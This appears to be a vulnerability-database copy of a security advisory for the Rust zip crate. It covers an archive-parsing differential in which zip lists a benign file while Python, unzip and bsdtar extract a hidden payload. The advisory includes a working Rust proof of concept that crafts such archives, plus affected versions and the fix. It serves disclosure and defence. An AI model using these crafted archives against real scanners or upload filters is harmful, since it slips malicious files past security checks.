
Cloud Vulnerability DB
A community-led vulnerabilities database
zip>= 2.1.4, <= 9.0.4 (also master at 66396876)Medium (our estimate): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N (5.3)
Our reasoning: the attacker only needs to supply an archive, and no privileges or interaction are required beyond the application opening it. The impact is on integrity. An application that uses zip to inspect or approve an archive (malware or policy scanners, upload filters, CI gates) sees one set of entries. A different tool that later extracts the same bytes (Python zipfile, Info-ZIP unzip, libarchive/bsdtar) gets attacker-chosen entries. We used I:L because the crate does not extract anything it didn't list, so the harm depends on a second reader being in the pipeline. If you score differential/scanner-bypass issues as I:H (7.5), as some ecosystems do, we wouldn't argue. There is no confidentiality or availability impact.
ZipArchive::get_metadata walks backwards through end-of-central-directory (EOCD) signatures. If the central directory of the last EOCD fails to decode, it records the error and moves on to the next earlier EOCD signature. If that earlier one decodes, ZipArchive::new returns Ok with that archive and drops the error. Other readers always use the last EOCD. So the same bytes can be one archive in zip and a different one everywhere else, whenever the last central directory contains something zip rejects but others accept. Example: an NTFS (0x000a) extra field with a length zip doesn't support, which Python, Info-ZIP and libarchive skip. The earlier EOCD can be a complete benign archive placed before the real one.
We found a second shape of the same differential that doesn't need the fallback. In ArchiveOffset::Detect mode (the default), find_central_directory_end takes the first CDFH signature at or after the EOCD's CD offset as the start of the central directory. Other readers locate the central directory at eocd_position - cd_size and treat any difference as prepended data. Setting the last EOCD's CD offset to the earlier archive's central directory therefore makes zip read the benign directory, while Python, unzip (with a warning) and bsdtar read the payload. We describe it here because it has the same impact and the fix is in the same code. We're happy to split it into its own report if you prefer.
Applications that use zip to decide whether an untrusted archive is safe, and then pass it on or let another tool extract it, can be bypassed: zip lists only benign.txt, while unzip, Python and bsdtar list and extract payload.sh. ZipArchive::new returns Ok, so the caller has no indication that anything was skipped. Applications that only ever read archives with zip itself are not affected, apart from silently seeing a different archive than other tools do.
Self-contained, no dependencies besides zip (any affected version, default-features = false is enough):
use std::io::Cursor;
fn crc32(data: &[u8]) -> u32 {
let mut c = !0u32;
for &b in data {
c ^= u32::from(b);
for _ in 0..8 {
c = if c & 1 != 0 { (c >> 1) ^ 0xEDB8_8320 } else { c >> 1 };
}
}
!c
}
/// Appends a one-entry stored archive with absolute offsets (what Python's zipfile writes when
/// appending to an existing file). Returns the central directory offset.
fn append_archive(out: &mut Vec<u8>, name: &[u8], data: &[u8], extra: &[u8]) -> u32 {
let lfh = out.len() as u32;
let crc = crc32(data);
let common = |v: &mut Vec<u8>| {
v.extend_from_slice(&[20, 0, 0, 0, 0, 0, 0, 0, 0x21, 0]); // version, flags, stored, time, date
v.extend_from_slice(&crc.to_le_bytes());
v.extend_from_slice(&(data.len() as u32).to_le_bytes());
v.extend_from_slice(&(data.len() as u32).to_le_bytes());
v.extend_from_slice(&(name.len() as u16).to_le_bytes());
v.extend_from_slice(&(extra.len() as u16).to_le_bytes());
};
out.extend_from_slice(b"PK\x03\x04");
common(out);
out.extend_from_slice(name);
out.extend_from_slice(extra);
out.extend_from_slice(data);
let cd = out.len() as u32;
out.extend_from_slice(b"PK\x01\x02\x14\x03");
common(out);
out.extend_from_slice(&[0; 6]); // comment length, disk, internal attributes
out.extend_from_slice(&(0o100644u32 << 16).to_le_bytes());
out.extend_from_slice(&lfh.to_le_bytes());
out.extend_from_slice(name);
out.extend_from_slice(extra);
let cd_size = out.len() as u32 - cd;
out.extend_from_slice(b"PK\x05\x06\0\0\0\0\x01\0\x01\0");
out.extend_from_slice(&cd_size.to_le_bytes());
out.extend_from_slice(&cd.to_le_bytes());
out.extend_from_slice(&[0, 0]);
cd
}
fn main() {
// 1. Fallback: the last central directory has an NTFS extra field (0x000a) with a 7-byte body.
let mut v = Vec::new();
append_archive(&mut v, b"benign.txt", b"nothing to see", b"");
let ntfs = b"\x0a\x00\x07\x00\xff\x23\x23\xff\xff\xff\xff";
append_archive(&mut v, b"payload.sh", b"#!/bin/sh\necho pwned\n", ntfs);
std::fs::write("fallback.zip", &v).unwrap();
let a = zip::ZipArchive::new(Cursor::new(v)).unwrap();
println!("fallback: {:?}", a.file_names().collect::<Vec<_>>()); // only benign.txt
// 2. No fallback needed: the last EOCD's CD offset points at the benign central directory;
// its CD size (and the payload's local header offset) match where other readers look.
let mut v = Vec::new();
let benign_cd = append_archive(&mut v, b"benign.txt", &[b'.'; 200], b"");
let start = v.len() as u32;
let payload_cd = append_archive(&mut v, b"payload.sh", b"#!/bin/sh\necho pwned\n", b"");
let shift = payload_cd - benign_cd;
let eocd = v.len() - 22;
v[eocd + 16..eocd + 20].copy_from_slice(&benign_cd.to_le_bytes());
v[payload_cd as usize + 42..payload_cd as usize + 46].copy_from_slice(&(start - shift).to_le_bytes());
std::fs::write("offset.zip", &v).unwrap();
let a = zip::ZipArchive::new(Cursor::new(v)).unwrap();
println!("offset: {:?}", a.file_names().collect::<Vec<_>>()); // only benign.txt
}Results (macOS, Python 3.14, Info-ZIP UnZip 6.00, bsdtar 3.x):
zip 9.0.4 | Python zipfile | unzip -l / unzip -p | bsdtar -tf / -xOf | |
|---|---|---|---|---|
fallback.zip | Ok, benign.txt | payload.sh | payload.sh | payload.sh |
offset.zip | Ok, benign.txt | payload.sh | payload.sh (warns "139 extra bytes at beginning or within zipfile") | payload.sh |
All three other tools also extract the #!/bin/sh payload. Appending trailing bytes after the last EOCD doesn't change the result. |
Checked by building the PoC against crates.io releases, or against the git tags for yanked releases:
d5de364a, NTFS parsing added) through 9.0.4 and master 66396876.cb2d7abd ("keep searching for a real CDE header after read an invalid one from the file comment", first in 2.1.4). With an AES extra field (0x9901) that has an unknown vendor ID, 2.1.4 through 8.6.0 list benign.txt. 2.1.3 and 2.0.0 return an error instead. With default-features = false, 9.0.x accepts that field, but the NTFS trigger still works there.33c71ccc, the EOCD search rewrite) through 9.0.4 and master. 2.1.4 lists payload.sh.
So the earliest affected release we confirmed is 2.1.4 and the latest is 9.0.4. Several releases in that range (2.1.4 to 2.2.3, 9.0.0 to 9.0.2) are yanked.src/read/zip_archive.rs:217-235 (master b6f9fb80; get_metadata): on Err from CentralDirectoryInfo::try_from / read_central_header, the error is stored in last_err (line 231) and the loop continues to the next EOCD candidate (line 234). It is returned only if no earlier candidate decodes.src/format/find_central_directory.rs:192-209 (find_central_directory_end, ArchiveOffset::Detect): cdfh_cache.first_in_range(reader, cd_offset_from_eocd, eocd_offset) takes the first CDFH at or after the declared offset and derives the archive offset from it. This ignores central_directory_size, which is what other readers use.
The fallback is there for a real reason: an EOCD signature can appear inside a comment or in garbage after the real record (tests/zip_comment_garbage.rs, tests/invalid_eocd.rs). The problem is that the fallback doesn't tell those cases apart from a genuine last record whose directory is merely something zip rejects.Fix PR in this advisory's temporary private fork: https://github.com/zip-rs/zip2-ghsa-wjr6-mhvj-cjvm/pull/1
A candidate whose central directory ends exactly at the record (the way Python, Info-ZIP and libarchive locate it) is treated as authoritative, so if its directory fails to decode ZipArchive::new returns that error instead of falling back. Stray signatures in comments or garbage still fall back as before. In Detect mode it also tries the CD start implied by the size field before scanning for the first CDFH, which covers the CD-offset variant. The PR lists the behaviour changes and adds tests/eocd_fallback.rs.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."